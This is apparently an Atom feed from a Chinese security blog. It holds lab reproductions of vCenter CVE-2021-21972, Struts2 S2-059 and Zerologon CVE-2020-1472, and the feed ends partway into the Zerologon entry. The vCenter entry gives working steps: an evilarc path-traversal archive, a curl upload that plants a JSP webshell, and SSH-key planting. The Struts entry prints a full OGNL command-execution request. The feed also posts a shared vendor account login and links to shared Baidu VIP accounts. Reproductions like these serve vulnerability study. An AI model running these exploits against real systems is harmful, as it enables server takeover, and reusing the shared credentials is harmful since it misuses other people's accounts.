<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom"><title>我吃你家米了 - 漏洞复现</title><link href="/" rel="alternate"></link><link href="feeds/lou-dong-fu-xian.atom.xml" rel="self"></link><id>/</id><updated>2021-03-02T00:00:00+01:00</updated><entry><title>vCenter RCE（CVE-2021-21972）复现</title><link href="vcenter-rcecve-2021-21972fu-xian.html" rel="alternate"></link><published>2021-03-02T00:00:00+01:00</published><updated>2021-03-02T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2021-03-02:vcenter-rcecve-2021-21972fu-xian.html</id><summary type="html">&lt;h1&gt;参考链接&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://swarm.ptsecurity.com/unauth-rce-vmware/"&gt;https://swarm.ptsecurity.com/unauth-rce-vmware/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;漏洞描述&lt;/h1&gt;
&lt;p&gt;CVE-2021-21972：未经认证的文件上传导致的RCE&lt;/p&gt;
&lt;h1&gt;影响范围&lt;/h1&gt;
&lt;p&gt;VMware vCenter Server 7.0系列 &amp;lt; 7.0.U1c&lt;/p&gt;
&lt;p&gt;VMware vCenter Server 6.7系列 &amp;lt; 6.7.U3l&lt;/p&gt;
&lt;p&gt;VMware vCenter Server …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;参考链接&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://swarm.ptsecurity.com/unauth-rce-vmware/"&gt;https://swarm.ptsecurity.com/unauth-rce-vmware/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;漏洞描述&lt;/h1&gt;
&lt;p&gt;CVE-2021-21972：未经认证的文件上传导致的RCE&lt;/p&gt;
&lt;h1&gt;影响范围&lt;/h1&gt;
&lt;p&gt;VMware vCenter Server 7.0系列 &amp;lt; 7.0.U1c&lt;/p&gt;
&lt;p&gt;VMware vCenter Server 6.7系列 &amp;lt; 6.7.U3l&lt;/p&gt;
&lt;p&gt;VMware vCenter Server 6.5系列 &amp;lt; 6.5 U3n&lt;/p&gt;
&lt;h1&gt;下载链接&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/6to8iy;oluj'/p.ktfesdgfhgmgFSDV"&gt;百度云下载&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;这里提供一些&lt;a href="https://shimo.im/docs/RwZ7jY1n5rYEhXnV/read"&gt;百度云VIP共享账号&lt;/a&gt;，兄弟们可以用这些账户高速下载&lt;/p&gt;
&lt;p&gt;当然，你也可以自行下载安装镜像：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://my.vmware.com/group/vmware/downloads/details?downloadGroup=VC65U3K&amp;amp;productId=614"&gt;vCenter6.5系列&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://my.vmware.com/web/vmware/downloads/details?downloadGroup=VC670&amp;amp;productId=742&amp;amp;rPId=22641"&gt;vCenter6.7系列&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;下载这个需要登录，这里直接提供一个账户供大家使用：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;xkaaconmpunoejwqcs@twzhhq.online
xkacon123j!&lt;span class="nv"&gt;$Ehh&lt;/span&gt;.onli
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1&gt;安装&lt;/h1&gt;
&lt;h2&gt;windows&lt;/h2&gt;
&lt;p&gt;建议使用windows server 2012 R2&lt;/p&gt;
&lt;p&gt;内存要求至少8G&lt;/p&gt;
&lt;p&gt;推荐使用物理及安装，我在使用vmware虚拟机安装时遇到未知错误，未解决&lt;/p&gt;
&lt;p&gt;此外，当前机器不能是域控制器&lt;/p&gt;
&lt;p&gt;所安装的机器 不能是域控制器&lt;/p&gt;
&lt;p&gt;先安装更新&lt;code&gt;Windows8.1-KB2919355-x64.msu&lt;/code&gt;，然后再安装更新&lt;code&gt;Windows8.1-KB2999226-x64.msu&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果在安装更新时出现无法找到指定路径的错误，可创建目录&lt;code&gt;C:\programdata\package cache&lt;/code&gt;，再重新安装即可，之后便可安装&lt;code&gt;vcenter6.7&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;密码：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;administrator@vsphere.local
qwe123...A
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;安装完成之后打开&lt;code&gt;https://your-computer-IP/ui/&lt;/code&gt;进行登录&lt;/p&gt;
&lt;p&gt;vCenter登录界面和控制面板：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615031010413" src="https://s2.loli.net/2024/06/14/Wws8FQ54DCSdg6O.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615030907188" src="https://s2.loli.net/2024/06/14/YF9ioUlngtr3xy4.png"&gt;&lt;/p&gt;
&lt;h2&gt;linux&lt;/h2&gt;
&lt;p&gt;linux安装vCenter其实就是将虚拟机部署到esxi中的过程&lt;/p&gt;
&lt;p&gt;linux版的vCenter叫做VCSA（vCenter Server Appliance）&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在镜像中有一个ova文件，理论上来讲，直接使用vmWare workstation导入该虚拟机即可，但是我尝试过多次，均以各种报错告终，最后还是老老实实在vmware workstation中安装了esxi，然后部署vcsa&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意，在安装esxi的时候，内存要大于10G，推荐分配12G，磁盘要大于240G&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;我建议各位在安装的时候最好先搞一个DNS服务器（可以通过安装AD中的集成DNS实现），以配置域名，不然在安装vcsa的时候，可能会出现机器名无效的错误&lt;/p&gt;
&lt;p&gt;安装完成&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615144987239" src="https://s2.loli.net/2024/06/14/B7RcwFdDW1eohpQ.png"&gt;&lt;/p&gt;
&lt;p&gt;在配置的时候我设置的DNS服务器是自己的，FQDN也是penhub.space域（我的AD-DNS域）&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615145353856" src="https://s2.loli.net/2024/06/14/Y7LoS2IygTEMOqu.png"&gt;&lt;/p&gt;
&lt;h1&gt;漏洞复现&lt;/h1&gt;
&lt;p&gt;检测漏洞&lt;/p&gt;
&lt;p&gt;在未登录的情况下直接访问&lt;code&gt;https://your-computer-IP/ui/vropspluginui/rest/services/getstatus&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果返回如下响应及证明&lt;code&gt;CVE-2021-21972&lt;/code&gt;（认证绕过）漏洞存在&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615031410292" src="https://s2.loli.net/2024/06/14/iw5adGplYfJ3ecj.png"&gt;&lt;/p&gt;
&lt;h2&gt;针对windows环境&lt;/h2&gt;
&lt;p&gt;首先制作一个恶意的tar压缩包，这里我使用&lt;a href="https://gitee.com/wochinijiamile/smartya/blob/master/evilarc.py"&gt;evilarc.py&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用的jsp木马是&lt;a href="https://raw.githubusercontent.com/tennc/webshell/master/jsp/jspbrowser/Browser.jsp"&gt;Browser.jsp&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;使用如下命令构造恶意压缩包：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python&lt;span class="w"&gt; &lt;/span&gt;evilarc.py&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;win&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;winexpl.tar&lt;span class="w"&gt; &lt;/span&gt;Browser.jsp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;其中&lt;code&gt;-d&lt;/code&gt;选项指定层级，2层就足够穿越到&lt;code&gt;C:\&lt;/code&gt;根目录了，当然为了保险起见，你可以写一个更大的值&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ProgramData\VMware\vCenterServer\data\perfcharts\tc-instance\webapps\statsreport&lt;/code&gt;是要穿越到的目录，这个目录中的jsp文件可以直接从web端访问到&lt;/p&gt;
&lt;p&gt;然后使用curl将制作好的恶意压缩包上传至vCenter服务器&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;uploadFile=@winexpl.tar&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;https://your-computer-IP/ui/vropspluginui/rest/services/uploadova
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;然后访问我们的webshell（https://your-computer-IP/statsreport/Browser.jsp）可：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615096255304" src="https://s2.loli.net/2024/06/14/dxnMqCOF5t3PhkS.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615096313379" src="https://s2.loli.net/2024/06/14/4RKMeqZEvL79NyP.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，我们的权限是&lt;code&gt;nt authority\system&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;linux环境&lt;/h2&gt;
&lt;p&gt;首先验证漏洞&lt;/p&gt;
&lt;p&gt;访问如下路径：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;https://photon-machine.penhub.space/ui/vropspluginui/rest/services/getstatus
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="1615145462430" src="https://s2.loli.net/2024/06/14/kDKLuSP2Rof3x47.png"&gt;&lt;/p&gt;
&lt;p&gt;存在未授权漏洞&lt;/p&gt;
&lt;p&gt;对于linux，我们直接写ssh公钥到&lt;code&gt;/home/vsphere-ui/.ssh/authorized_keys&lt;/code&gt;文件&lt;/p&gt;
&lt;p&gt;构造恶意压缩包，&lt;strong&gt;注意这次的格式是unix&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python&lt;span class="w"&gt; &lt;/span&gt;evilarc.py&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;home/vsphere-ui/.ssh&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;unix&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;exp.tar&lt;span class="w"&gt; &lt;/span&gt;authorized_key
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;上传恶意压缩包&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;uploadFile=@exp.tar&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;登陆成功&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615151006290" src="https://s2.loli.net/2024/06/14/JY1SXfHVtzlIFZA.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这种方式看很有可能不会奏效，因为vcsa默认情况下是关闭ssh的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在esxi控制台中进入vcsa虚拟机，F2进入管理界面，输入密码，选中&lt;code&gt;Troubleshooting Mode Options&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615146371026" src="https://s2.loli.net/2024/06/14/VgAvm8YWFkEzUsR.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615146459952" src="https://s2.loli.net/2024/06/14/T9t8ZP2xLAdjkup.png"&gt;&lt;/p&gt;
&lt;p&gt;可以看到，ssh默认是关闭的，你使用ssh工具去连接，也是连不上的&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615146514625" src="https://s2.loli.net/2024/06/14/u9jvkGiABDcfNbT.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;只有当管理员打开了这个选项的时候使用这种利用方式才行得通，但是一般情况下是不会打开的，因为没必要，esxi本身就可以远程管理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;根据上面windows的利用方式，考虑上传文件到如下位置：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="1615151103698" src="https://s2.loli.net/2024/06/14/nHmNoRePOXbw6Fu.png"&gt;&lt;/p&gt;
&lt;p&gt;构造恶意压缩包&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python&lt;span class="w"&gt; &lt;/span&gt;evilarc.py&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;unix&lt;span class="w"&gt; &lt;/span&gt;-f&lt;span class="w"&gt; &lt;/span&gt;winexpl.tar&lt;span class="w"&gt; &lt;/span&gt;Browser.jsp
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;上传恶意压缩包&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-k&lt;span class="w"&gt; &lt;/span&gt;-F&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;uploadFile=@winexpl.tar&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;https://photon-machine.penhub.space/ui/vropspluginui/rest/services/uploadova
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;直接返回&lt;code&gt;FAILED&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;估计是权限的原因，这个目录我写不进去文件&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;drwxr-xr-x&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;perfcharts&lt;span class="w"&gt; &lt;/span&gt;cis&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;4096&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Mar&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;18&lt;/span&gt;:38&lt;span class="w"&gt; &lt;/span&gt;/usr/lib/vmware-perfcharts/tc-instance/webapps/statsreport
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;我当前的用户是&lt;code&gt;vsphere-ui&lt;/code&gt;，因此无法写入，上传过程中出现异常，返回&lt;code&gt;FAILED&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;a href="https://github.com/NS-Sp4ce/CVE-2021-21972/blob/7048b1d0a71a862284c2d54f78aba913ccef5776/CVE-2021-21972.py"&gt;网上的exp&lt;/a&gt;，成功上传shell（冰蝎）&lt;img alt="1615152723055" src="https://s2.loli.net/2024/06/14/YNRtpQKP7Jf26U9.png"&gt;&lt;/p&gt;
&lt;p&gt;看了一下利用代码，利用的路径是&lt;code&gt;/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在该路径下有很多以数字命名的目录，&lt;strong&gt;部分目录中存在可以直接从前端访问的资源文件&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;至于这个目录是怎么找到的，其实很简单，登录进vsphere html5 client之后，随便找个图片或者css文件，在vcsa中用find命令找一下就找到了&lt;/p&gt;
&lt;p&gt;由于不知道目录名和war包名的对应关系（可能根本就没有关系，目录名是根据war部署先后顺序确定的），因此exp代码中采用了爆破的方式，&lt;strong&gt;将所有的目录都试一遍&lt;/strong&gt;&lt;/p&gt;</content><category term="漏洞复现"></category></entry><entry><title>Struts2-059 RCE （CVE-2019-0230）复现</title><link href="struts2-059-rce-cve-2019-0230fu-xian.html" rel="alternate"></link><published>2020-12-15T00:00:00+01:00</published><updated>2020-12-15T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-12-15:struts2-059-rce-cve-2019-0230fu-xian.html</id><summary type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://zoresmile.cn/"&gt;阿怪&lt;/a&gt;前两天让帮忙复现一下这个洞，正好今天闲着没事，就弄了一下&lt;/p&gt;
&lt;p&gt;这个洞是Struts框架的OGNL表达式语言引起的，所以我们本次复现也是通过创建一 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;前言&lt;/h1&gt;
&lt;p&gt;&lt;a href="https://zoresmile.cn/"&gt;阿怪&lt;/a&gt;前两天让帮忙复现一下这个洞，正好今天闲着没事，就弄了一下&lt;/p&gt;
&lt;p&gt;这个洞是Struts框架的OGNL表达式语言引起的，所以我们本次复现也是通过创建一个使用了该特性的demo应用程序来完成的&lt;/p&gt;
&lt;p&gt;参考链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://blog.csdn.net/weixin_46236101/article/details/109080913"&gt;https://blog.csdn.net/weixin_46236101/article/details/109080913&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;复现漏洞&lt;/h1&gt;
&lt;p&gt;这里我们直接创建一个struts应用来搭建漏洞环境&lt;/p&gt;
&lt;p&gt;完整项目下载链接：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gitee.com/wochinijiamile/suiyi/raw/master/cve.7z"&gt;https://gitee.com/wochinijiamile/suiyi/raw/master/cve.7z&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为了节省兄弟们的时间，我直接将项目依赖的jar包也放上来&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://gitee.com/wochinijiamile/suiyi/raw/master/repository.rar"&gt;https://gitee.com/wochinijiamile/suiyi/raw/master/repository.rar&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;如果你使用的是IDEA内置的maven，将压缩包下载下来解压之后放到&lt;code&gt;C:\Users\your-user-name\.m2&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;在IDEA打开之后，配置好tomcat并运行，打开BurpSuite发包即可&lt;/p&gt;
&lt;p&gt;http包：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;POST&lt;span class="w"&gt; &lt;/span&gt;/Struts2OGNLExample_war_exploded/welcome&lt;span class="w"&gt; &lt;/span&gt;HTTP/1.1
Host:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.1.105:8080
Proxy-Connection:&lt;span class="w"&gt; &lt;/span&gt;keep-alive
Content-Length:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;585&lt;/span&gt;
Cache-Control:&lt;span class="w"&gt; &lt;/span&gt;max-age&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
Upgrade-Insecure-Requests:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
Origin:&lt;span class="w"&gt; &lt;/span&gt;http://192.168.1.105:8080
Content-Type:&lt;span class="w"&gt; &lt;/span&gt;application/x-www-form-urlencoded
User-Agent:&lt;span class="w"&gt; &lt;/span&gt;Mozilla/5.0&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;Windows&lt;span class="w"&gt; &lt;/span&gt;NT&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.0&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Win64&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;x64&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;AppleWebKit/537.36&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;KHTML,&lt;span class="w"&gt; &lt;/span&gt;like&lt;span class="w"&gt; &lt;/span&gt;Gecko&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;Chrome/87.0.4280.88&lt;span class="w"&gt; &lt;/span&gt;Safari/537.36
Accept:&lt;span class="w"&gt; &lt;/span&gt;text/html,application/xhtml+xml,application/xml&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.9,image/avif,image/webp,image/apng,*/*&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.8,application/signed-exchange&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;v&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;b3&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.9
Referer:&lt;span class="w"&gt; &lt;/span&gt;http://192.168.1.105:8080/Struts2OGNLExample_war_exploded/home.jsp
Accept-Encoding:&lt;span class="w"&gt; &lt;/span&gt;gzip,&lt;span class="w"&gt; &lt;/span&gt;deflate
Accept-Language:&lt;span class="w"&gt; &lt;/span&gt;zh-CN,zh&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.9,en-US&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.8,en&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nv"&gt;q&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;.7
Cookie:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;JSESSIONID&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;D02933EF26BDACF2754945FC7E822C79

&lt;span class="nv"&gt;payload&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;%25%7b%23_memberAccess.allowPrivateAccess%3Dtrue%2C%23_memberAccess.allowStaticMethodAccess%3Dtrue%2C%23_memberAccess.excludedClasses%3D%23_memberAccess.acceptProperties%2C%23_memberAccess.excludedPackageNamePatterns%3D%23_memberAccess.acceptProperties%2C%23res%3D%40org.apache.struts2.ServletActionContext%40getResponse&lt;span class="o"&gt;()&lt;/span&gt;.getWriter&lt;span class="o"&gt;()&lt;/span&gt;%2C%23a%3D%40java.lang.Runtime%40getRuntime&lt;span class="o"&gt;()&lt;/span&gt;%2C%23s%3Dnew%20java.util.Scanner&lt;span class="o"&gt;(&lt;/span&gt;%23a.exec&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;calc.exe&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;.getInputStream&lt;span class="o"&gt;())&lt;/span&gt;.useDelimiter&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;%5C%5C%5C%5CA&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;%2C%23str%3D%23s.hasNext&lt;span class="o"&gt;()&lt;/span&gt;%3F%23s.next&lt;span class="o"&gt;()&lt;/span&gt;%3A&lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;%2C%23res.print&lt;span class="o"&gt;(&lt;/span&gt;%23str&lt;span class="o"&gt;)&lt;/span&gt;%2C%23res.close&lt;span class="o"&gt;()&lt;/span&gt;%0A%7d
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;img alt="asdasdasda" src="https://s2.loli.net/2024/06/14/zt8vIB6jiWKSMLg.gif"&gt;&lt;/p&gt;
&lt;h1&gt;后记&lt;/h1&gt;
&lt;p&gt;回头有空再研究一下怎么回显&lt;/p&gt;</content><category term="漏洞复现"></category></entry><entry><title>CVE-2020-1472(zero-logon)</title><link href="cve-2020-1472zero-logon.html" rel="alternate"></link><published>2020-11-22T00:00:00+01:00</published><updated>2020-11-22T00:00:00+01:00</updated><author><name>12138</name></author><id>tag:None,2020-11-22:cve-2020-1472zero-logon.html</id><summary type="html">&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;该漏洞利用netlogon的漏洞，重置目标机器的机器账户hash为空，如果针对域控制器执行该攻击，则可以导出所有域用户hash，进而提升为原 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;简介&lt;/h1&gt;
&lt;p&gt;该漏洞利用netlogon的漏洞，重置目标机器的机器账户hash为空，如果针对域控制器执行该攻击，则可以导出所有域用户hash，进而提升为原管理员权限&lt;/p&gt;
&lt;h1&gt;复现过程&lt;/h1&gt;
&lt;h2&gt;环境准备&lt;/h2&gt;
&lt;p&gt;首先卸载之前安装的impacket，然后通过源码安装的方式安装最新版本的impacket:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;uninstall&lt;span class="w"&gt; &lt;/span&gt;impacket
git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;https://github.com/SecureAuthCorp/impacket.git
&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;impacket
python3&lt;span class="w"&gt; &lt;/span&gt;setup.py&lt;span class="w"&gt; &lt;/span&gt;install
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;下载&lt;a href="https://dirkjanm.io/"&gt;dirkjanm&lt;/a&gt;的利用脚本：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;cve-2020-1472-exploit.py
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;这里我们的域控制器的NetBios Name为DC-01，IP为192.168.60.208，可以通过nbtscan扫描出来：&lt;/p&gt;
&lt;p&gt;&lt;img alt="1606030436172" src="https://s2.loli.net/2024/06/14/vt2Wj3s1JacwxFl.png"&gt;&lt;/p&gt;
&lt;h2&gt;检测漏洞&lt;/h2&gt;
&lt;p&gt;下载漏洞检测脚本：&lt;a href="https://github.com/SecuraBV/CVE-2020-1472"&gt;CVE-2020-1472&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;检测目标机器是否存在漏洞：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;python3&lt;span class="w"&gt; &lt;/span&gt;-m&lt;span class="w"&gt; &lt;/span&gt;pip&lt;span class="w"&gt; &lt;/span&gt;install&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;requirements
python3&lt;span class="w"&gt; &lt;/span&gt;zerologon_tester.py&lt;span class="w"&gt; &lt;/span&gt;DC-01&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.60.208
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2&gt;重置机器账户hash&lt;/h2&gt;
